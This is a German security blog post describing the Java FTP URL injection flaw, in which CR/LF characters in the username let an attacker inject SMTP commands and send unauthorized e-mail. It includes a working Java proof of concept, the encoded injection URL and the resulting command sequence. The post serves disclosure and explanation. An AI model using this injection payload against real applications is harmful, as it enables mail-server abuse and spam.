zurück zur Übersicht

Java-Injection erlaubt Mails per FTP

Java-Injection: Mailserver manipuliert zum Mailversand über FTP-ProtokollE-Mails via FTP-Injection

Kürzlich wurde eine Sicherheitslücke in Java’s FTP-URL-Handling entdeckt, welche dem Angreifer eine Stream-Injection im FTP-Protokoll ermöglicht. Dabei kann die Lücke verwendet werden, um vorhandene XXE-Schwachstellen auszunutzen und nicht autorisierte E-Mails aus Java-Anwendungen über das SMTP-Protokoll zu versenden.

Der Angriff im Detail

Die Implementierung des Verbindungsaufbaus zum FTP-Server mithilfe von Java kann hier nachgeschlagen werden: sun.net.ftp.impl.FtpClient (http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/net/ftp/impl/FtpClient.java). Um sich am FTP-Server zu authentifizieren, fügt man den Nutzernamen und das Passwort in die URL (z.B. ftp://user:password@host:port/file.ext) ein. Daraufhin wird der FTP-Client das USER-Kommando ausführen.

Genau hier kommt der Bug zum Tragen: Ein Angreifer kann die URL so manipulieren, dass FTP-Kommandos injiziert werden, da die Java-Anwendung nicht die Syntax des Benutzernamens überprüft. Im RF 959 File Transfer Protocol (FTP) (https://tools.ietf.org/html/rfc959) wird beschrieben, dass der Benutzername aus einer beliebigen Sequenz von maximal 128 ASCII-Zeichen mit Ausnahme von <CR> (Carriage Return) und <LF> (Line Feed) bestehen kann. In der Implementierung wurde jedoch vergessen die Präsenz von <CR> und <LF>  zu überprüfen.

Dies bedeutet, dass wir, wenn wir %0D%0A irgendwo im Benutzerteil der URL (oder dem Passwortteil, das wäre ebenfalls möglich) setzen, den Befehl USER (oder PASS) beenden und somit einen neuen Befehl in die FTP-Sitzung einspielen können.

Wenn also ein Angreifer ein USER-Kommando an einen Mail-Server anstatt an einen FTP-Server ausführt, wird mit einem Fehlercode geantwortet, da USER kein gültiger SMTP-Befehl ist. Die Session bleibt jedoch erhalten. Kombiniert man diesen Bug mit SMTP-Befehlen, kann der Angreifer E-Mails versenden.

Folgendes Beispiel zeigt, wie ein Angreifer die Sicherheitslücke ausnutzen kann:

 import java.net.*;
import java.io.*;
public class FTExample {
public static void main(String[] args) throws Exception { URL web = newURL(
ftp://a%0D%0AEHLO%20a%0D%0AMAIL%20FROM%3A%3Ca%40hack.org%3E%0D%0ARCPT%20TO%3A%3Ctest%40itc.de%3E%0D%0ADATA%0D%0AFrom%3A%20test%40hack.org%0ATo%3A%20test%40itc.de%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A.%0D%0AQUIT%0D%0A:a@test.de:25/a„);
URLConnection www = web.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
www.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.close();
}}

Zur besseren Lesbarkeit hier der kritische URL-Aufruf entzerrt:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Ctest%40hack.org%3E%0D%0A
RCPT%20TO%3A%3Ctest%40itc.de%3E%0D%0A
DATA%0D%0A
From%3A%20test%40hack.org%0ATo%3A%20test%40itc.de%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A
.%0D%0A
QUIT%0D%0A
:a@test.de:25/a“

Wenn nun sun.net.ftp.impl.FtpClient diese URL zur Verbindung verwendet, werden folgende Kommandos an den Mailserver test.de ausgeführt:

USER a<CR><LF>
EHLO a<CR><LF>
MAIL FROM:<test@hack.org><CR><LF>
RCPT TO:<test@itc.de><CR><LF>
DATA<CR><LF>
From: test@hack.org<LF>
To: test@itc.de<LF>
Subject: test<LF>
<LF>
test!<LF><CR><LF>
.<CR><LF>
QUIT<CR><LF>

Java gibt zwar eine Fehlermeldung aus: sun.net.ftp.FtpLoginException: Invalid username/password. Dennoch wird die E-Mail versendet. Der Wiresharkausschnitt verdeutlicht das:

Auswirkungen & Gegenmaßnahmen

Mit dieser Schwachstelle kann der Angreifer problemlos den Mailserver manipulieren, um z.B. Spam-Mails zu versenden. Als Gegenmaßnahme hilft aktuell nur Java zu deaktivieren bis ein Update vom Hersteller zur Verfügung gestellt wird.

 


Quellen:

https://www.heise.de/security/meldung/Luecken-in-Java-und-Python-umgehen-die-Firewall-3632906.html

https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/

http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html

Bild: ©iT-CUBE SYSTEMS AG 2017

Schreibe einen Kommentar

Wir nehmen Datenschutz ernst! Deshalb informieren wir Sie, was mit Ihren Daten geschieht:

  • Daten aus Formularen und Webseiten-Tracking können von uns zur Analyse gespeichert werden
  • Die Daten können zur Optimierung der Webseite ausgewertet werden. Das ermöglicht es uns, besser zu verstehen, wo das Interesse unserer Besucher liegt. Wir benutzen primär Hubspot für dieses Tracking (mehr dazu finden Sie in der Erklärung auf unserer Datenschutzseite, siehe unten)
  • Wir geben Ihre Daten nicht an Dritte weiter. Im Rahmen von Veranstaltungen, an denen Sie teilnehmen möchten, kann es nötig sein, dass Ihre Daten an Vertragspartner übermittelt werden.
  • Sie haben jederzeit ein Recht auf die Herausgabe, Berichtigung oder Löschung persönlicher Daten.
  • Sie können Ihre Einwilligung, mit uns in Kontakt zu treten, jederzeit mit sofortiger Wirkung widerrufen.

Weitere Details dazu, was wir mit den Daten tun und nicht tun finden Sie auf unserer Datenschutzseite, oder schreiben Sie mich bei Fragen direkt an!

Felix Möckel
Data Protection Officer